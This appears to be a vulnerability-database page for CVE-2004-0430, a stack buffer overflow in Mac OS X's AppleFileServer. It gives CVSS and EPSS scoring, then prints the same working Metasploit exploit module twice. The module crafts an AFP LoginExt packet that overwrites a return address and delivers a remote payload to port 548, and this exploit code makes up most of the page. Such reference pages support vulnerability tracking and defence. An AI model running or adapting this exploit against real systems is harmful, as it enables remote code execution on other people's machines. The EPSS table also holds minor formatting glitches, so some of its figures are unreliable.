CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Stack-based buffer overflow in AppleFileServer for Mac OS X 10.3.3 and earlier allows remote attackers to execute arbitrary code via a LoginExt packet for a Cleartext Password User Authentication Method (UAM) request with a PathName argument that includes an AFPName type string that is longer than the associated length field.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5.1
AV:N/AC:H/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
70.81%
–
–
2023-03-12
–
–
–
11.23%
–
2023-04-16
–
–
–
12.53%
–
2023-11-12
–
–
–
10.57%
–
2024-01-28
–
–
–
10.57%
–
2024-06-02
–
–
–
10.57%
–
2024-12-22
–
–
–
43.35%
–
2025-03-02
–
–
–
43.35%
–
2025-03-09
–
–
–
46.96%
–
2025-01-19
–
–
–
43.35%
–
2025-03-09
–
–
–
46.96%
–
2025-03-18
–
–
–
–
80.15%
2025-03-18
–
–
–
–
80.15,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: loginext.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'AppleFileServer LoginExt PathName Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the AppleFileServer service
on MacOS X. This vulnerability was originally reported by Atstake and
was actually one of the few useful advisories ever published by that
company. You only have one chance to exploit this bug.
This particular exploit uses a stack-based return address that will
only work under optimal conditions.
},
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Version' => '$Revision: 10394 $',
'References' =>
[
[ 'CVE', '2004-0430'],
[ 'OSVDB', '5762'],
[ 'BID', '10271'],
],
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x20",
'MinNops' => 128,
'Compat' =>
{
'ConnectionType' => "+find"
}
},
'Targets' =>
[
# Target 0
[
'Mac OS X 10.3.3',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Ret' => 0xf0101c0c # stack address :<
},
],
],
'DisclosureDate' => 'May 3 2004'))
# Configure the default port to be AFP
register_options(
[
Opt::RPORT(548),
], self.class)
end
def exploit
connect
print_status("Trying target #{target.name}...")
path = "\xff" * 1024
path[168, 4] = Rex::Arch.pack_addr(target.arch, target.ret)
path[172, payload.encoded.length] = payload.encoded
# The AFP header
afp = "\x3f\x00\x00\x00"
# Add the authentication methods
["AFP3.1", "Cleartxt Passwrd"].each { |m|
afp << [m.length].pack('C') + m
}
# Add the user type and afp path
afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9)
afp << "\x03" + [path.length].pack('n') + path
# Add the data stream interface header
dsi =
[
0, # Flags
2, # Command
rand(65536), # XID
0, # Data Offset
afp.length, # Data Length
0 # Reserved
].pack("CCnNNN") + afp
sock.put(dsi)
handler
disconnect
end
end
Publication date : 2004-03-02 23h00 +00:00 Author : H D Moore EDB Verified : Yes
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'AppleFileServer LoginExt PathName Overflow',
'Description' => %q{
This module exploits a stack overflow in the AppleFileServer service
on MacOS X. This vulnerability was originally reported by Atstake and
was actually one of the few useful advisories ever published by that
company. You only have one chance to exploit this bug.
This particular exploit uses a stack-based return address that will
only work under optimal conditions.
},
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-0430'],
[ 'OSVDB', '5762'],
[ 'BID', '10271'],
],
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x20",
'MinNops' => 128,
'Compat' =>
{
'ConnectionType' => "+find"
}
},
'Targets' =>
[
# Target 0
[
'Mac OS X 10.3.3',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Ret' => 0xf0101c0c # stack address :<
},
],
],
'DisclosureDate' => 'May 3 2004'))
# Configure the default port to be AFP
register_options(
[
Opt::RPORT(548),
], self.class)
end
def exploit
connect
print_status("Trying target #{target.name}...")
path = "\xff" * 1024
path[168, 4] = Rex::Arch.pack_addr(target.arch, target.ret)
path[172, payload.encoded.length] = payload.encoded
# The AFP header
afp = "\x3f\x00\x00\x00"
# Add the authentication methods
["AFP3.1", "Cleartxt Passwrd"].each { |m|
afp << [m.length].pack('C') + m
}
# Add the user type and afp path
afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9)
afp << "\x03" + [path.length].pack('n') + path
# Add the data stream interface header
dsi =
[
0, # Flags
2, # Command
rand(65536), # XID
0, # Data Offset
afp.length, # Data Length
0 # Reserved
].pack("CCnNNN") + afp
sock.put(dsi)
handler
disconnect
end
end